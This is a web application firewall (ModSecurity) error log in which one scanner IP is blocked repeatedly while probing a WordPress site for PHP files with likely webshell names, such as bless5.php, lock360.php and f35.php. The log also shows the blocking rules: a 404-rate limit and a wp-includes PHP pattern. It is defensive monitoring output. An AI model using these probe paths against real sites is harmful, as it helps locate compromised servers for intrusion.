[Fri Jan 02 05:54:31.421562 2026] [:error] [pid 63098:tid 63131] [client 4.241.192.15:6100] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aVbtF8ez9k78gUs48kqS0gAAABg"]
[Fri Jan 02 05:54:31.830308 2026] [:error] [pid 63098:tid 63113] [client 4.241.192.15:5792] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVbtF8ez9k78gUs48kqS1AAAAAY"]
[Fri Jan 02 05:54:32.456894 2026] [:error] [pid 63099:tid 63134] [client 4.241.192.15:5813] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVbtGMmCZokRPYUhzvgXcwAAAEA"]
[Fri Jan 02 05:54:32.844078 2026] [:error] [pid 63208:tid 63229] [client 4.241.192.15:6032] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVbtGHKLI9INGPLzfnd_WAAAANI"]
[Fri Jan 02 05:54:33.618005 2026] [:error] [pid 63208:tid 63232] [client 4.241.192.15:6014] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVbtGXKLI9INGPLzfnd_WQAAANU"]
[Fri Jan 02 05:54:34.209347 2026] [:error] [pid 63099:tid 63155] [client 4.241.192.15:5817] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVbtGsmCZokRPYUhzvgXdwAAAFU"]
[Fri Jan 02 05:54:34.557624 2026] [:error] [pid 63098:tid 63126] [client 4.241.192.15:5776] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVbtGsez9k78gUs48kqS2QAAABM"]
[Fri Jan 02 05:54:35.333493 2026] [:error] [pid 63099:tid 63145] [client 4.241.192.15:6129] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVbtG8mCZokRPYUhzvgXegAAAEs"]
[Fri Jan 02 05:54:35.694741 2026] [:error] [pid 63099:tid 63141] [client 4.241.192.15:5966] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVbtG8mCZokRPYUhzvgXewAAAEc"]
[Fri Jan 02 05:54:36.369056 2026] [:error] [pid 63208:tid 63227] [client 4.241.192.15:5988] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVbtHHKLI9INGPLzfnd_YAAAANA"]
[Fri Jan 02 05:54:36.814297 2026] [:error] [pid 63208:tid 63216] [client 4.241.192.15:5983] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVbtHHKLI9INGPLzfnd_YQAAAMU"]
[Fri Jan 02 05:54:37.483706 2026] [:error] [pid 63099:tid 63150] [client 4.241.192.15:5777] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVbtHcmCZokRPYUhzvgXggAAAFA"]
[Fri Jan 02 05:54:38.341767 2026] [:error] [pid 63100:tid 63168] [client 4.241.192.15:6049] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVbtHjuUXUKd3KTnKl-XtQAAAIc"]
[Fri Jan 02 05:54:38.940433 2026] [:error] [pid 63098:tid 63126] [client 4.241.192.15:6001] [client 4.241.192.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aVbtHsez9k78gUs48kqS4wAAABM"]
[Fri Jan 02 05:54:40.160173 2026] [:error] [pid 63099:tid 63141] [client 4.241.192.15:6124] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVbtIMmCZokRPYUhzvgXhgAAAEc"]
[Fri Jan 02 05:54:41.381306 2026] [:error] [pid 63100:tid 63170] [client 4.241.192.15:6062] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVbtITuUXUKd3KTnKl-XvAAAAIk"]
[Fri Jan 02 05:54:42.160642 2026] [:error] [pid 63208:tid 63226] [client 4.241.192.15:5715] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVbtInKLI9INGPLzfnd_ZwAAAM8"]
[Fri Jan 02 05:54:43.318829 2026] [:error] [pid 63099:tid 63152] [client 4.241.192.15:5953] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVbtI8mCZokRPYUhzvgXjAAAAFI"]
[Fri Jan 02 05:54:44.108934 2026] [:error] [pid 63098:tid 63115] [client 4.241.192.15:5716] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVbtJMez9k78gUs48kqS7wAAAAg"]
[Fri Jan 02 05:54:44.620332 2026] [:error] [pid 63208:tid 63228] [client 4.241.192.15:5732] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVbtJHKLI9INGPLzfnd_aQAAANE"]
[Fri Jan 02 05:54:45.345279 2026] [:error] [pid 63099:tid 63155] [client 4.241.192.15:5719] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVbtJcmCZokRPYUhzvgXjgAAAFU"]
[Fri Jan 02 05:54:46.210128 2026] [:error] [pid 63098:tid 63110] [client 4.241.192.15:5978] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVbtJsez9k78gUs48kqS9AAAAAM"]
[Fri Jan 02 05:54:46.532591 2026] [:error] [pid 63100:tid 63161] [client 4.241.192.15:5798] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVbtJjuUXUKd3KTnKl-XxgAAAIA"]
[Fri Jan 02 05:54:47.080039 2026] [:error] [pid 63099:tid 63157] [client 4.241.192.15:6101] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVbtJ8mCZokRPYUhzvgXkQAAAFc"]
[Fri Jan 02 05:54:47.692526 2026] [:error] [pid 63100:tid 63173] [client 4.241.192.15:11731] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVbtJzuUXUKd3KTnKl-XyAAAAIw"]
[Fri Jan 02 05:54:48.541340 2026] [:error] [pid 63208:tid 63211] [client 4.241.192.15:5791] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVbtKHKLI9INGPLzfnd_bAAAAMA"]
[Fri Jan 02 05:54:49.567942 2026] [:error] [pid 63098:tid 63128] [client 4.241.192.15:6007] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVbtKcez9k78gUs48kqS-wAAABU"]
[Fri Jan 02 05:54:50.124762 2026] [:error] [pid 63098:tid 63116] [client 4.241.192.15:11681] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVbtKsez9k78gUs48kqS_gAAAAk"]
[Fri Jan 02 05:54:50.561291 2026] [:error] [pid 63099:tid 63154] [client 4.241.192.15:5986] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVbtKsmCZokRPYUhzvgXmwAAAFQ"]
[Fri Jan 02 05:54:51.129977 2026] [:error] [pid 63208:tid 63233] [client 4.241.192.15:5799] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVbtK3KLI9INGPLzfnd_bwAAANY"]
[Fri Jan 02 05:54:51.827207 2026] [:error] [pid 63208:tid 63213] [client 4.241.192.15:5991] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVbtK3KLI9INGPLzfnd_dQAAAMI"]
[Fri Jan 02 05:54:52.364896 2026] [:error] [pid 63100:tid 63169] [client 4.241.192.15:5965] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVbtLDuUXUKd3KTnKl-X0AAAAIg"]
[Fri Jan 02 05:54:52.762215 2026] [:error] [pid 63100:tid 63164] [client 4.241.192.15:5725] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVbtLDuUXUKd3KTnKl-X0gAAAIM"]
[Fri Jan 02 05:54:53.080660 2026] [:error] [pid 63100:tid 63181] [client 4.241.192.15:5766] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVbtLTuUXUKd3KTnKl-X0wAAAJQ"]
[Fri Jan 02 05:54:53.534352 2026] [:error] [pid 63100:tid 63182] [client 4.241.192.15:5968] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVbtLTuUXUKd3KTnKl-X1AAAAJU"]
[Fri Jan 02 05:54:53.906346 2026] [:error] [pid 63100:tid 63183] [client 4.241.192.15:5767] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVbtLTuUXUKd3KTnKl-X1gAAAJY"]
[Fri Jan 02 05:54:54.346840 2026] [:error] [pid 63098:tid 63111] [client 4.241.192.15:5770] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVbtLsez9k78gUs48kqTBQAAAAQ"]
[Fri Jan 02 05:54:54.821754 2026] [:error] [pid 63099:tid 63147] [client 4.241.192.15:5955] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVbtLsmCZokRPYUhzvgXowAAAE0"]
[Fri Jan 02 05:54:55.617589 2026] [:error] [pid 63208:tid 63212] [client 4.241.192.15:5665] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aVbtL3KLI9INGPLzfnd_ewAAAME"]
[Fri Jan 02 05:54:56.126728 2026] [:error] [pid 63098:tid 63129] [client 4.241.192.15:5762] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aVbtMMez9k78gUs48kqTBwAAABY"]
[Fri Jan 02 05:54:56.605398 2026] [:error] [pid 63100:tid 63165] [client 4.241.192.15:5814] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aVbtMDuUXUKd3KTnKl-X2gAAAIQ"]
[Fri Jan 02 05:54:57.429872 2026] [:error] [pid 63099:tid 63154] [client 4.241.192.15:5782] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aVbtMcmCZokRPYUhzvgXpwAAAFQ"]
[Fri Jan 02 05:54:57.755695 2026] [:error] [pid 63098:tid 63119] [client 4.241.192.15:11701] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aVbtMcez9k78gUs48kqTDAAAAAw"]
[Fri Jan 02 05:54:58.083582 2026] [:error] [pid 63098:tid 63130] [client 4.241.192.15:5780] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aVbtMsez9k78gUs48kqTDQAAABc"]
[Fri Jan 02 05:54:58.367274 2026] [:error] [pid 63099:tid 63145] [client 4.241.192.15:6015] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aVbtMsmCZokRPYUhzvgXqgAAAEs"]
[Fri Jan 02 05:54:59.014093 2026] [:error] [pid 63098:tid 63110] [client 4.241.192.15:5998] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aVbtM8ez9k78gUs48kqTEAAAAAM"]
[Fri Jan 02 05:54:59.639203 2026] [:error] [pid 63098:tid 63127] [client 4.241.192.15:6012] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aVbtM8ez9k78gUs48kqTEgAAABQ"]
[Fri Jan 02 05:55:00.257031 2026] [:error] [pid 63099:tid 63144] [client 4.241.192.15:6004] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aVbtNMmCZokRPYUhzvgXrAAAAEo"]
[Fri Jan 02 05:55:01.084700 2026] [:error] [pid 63099:tid 63137] [client 4.241.192.15:6052] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aVbtNcmCZokRPYUhzvgXrgAAAEM"]
[Fri Jan 02 05:55:02.259519 2026] [:error] [pid 63099:tid 63152] [client 4.241.192.15:5740] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aVbtNsmCZokRPYUhzvgXsAAAAFI"]
[Fri Jan 02 05:55:03.347206 2026] [:error] [pid 63098:tid 63130] [client 4.241.192.15:5707] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aVbtN8ez9k78gUs48kqTGQAAABc"]
[Fri Jan 02 05:55:03.844510 2026] [:error] [pid 63098:tid 63112] [client 4.241.192.15:5789] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aVbtN8ez9k78gUs48kqTGwAAAAU"]
[Fri Jan 02 05:55:04.320072 2026] [:error] [pid 63099:tid 63150] [client 4.241.192.15:5698] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aVbtOMmCZokRPYUhzvgXsQAAAFA"]
[Fri Jan 02 05:55:05.211120 2026] [:error] [pid 63098:tid 63126] [client 4.241.192.15:5990] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aVbtOcez9k78gUs48kqTHgAAABM"]
[Fri Jan 02 05:55:06.076354 2026] [:error] [pid 63208:tid 63213] [client 4.241.192.15:5717] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVbtOnKLI9INGPLzfnd_hgAAAMI"]
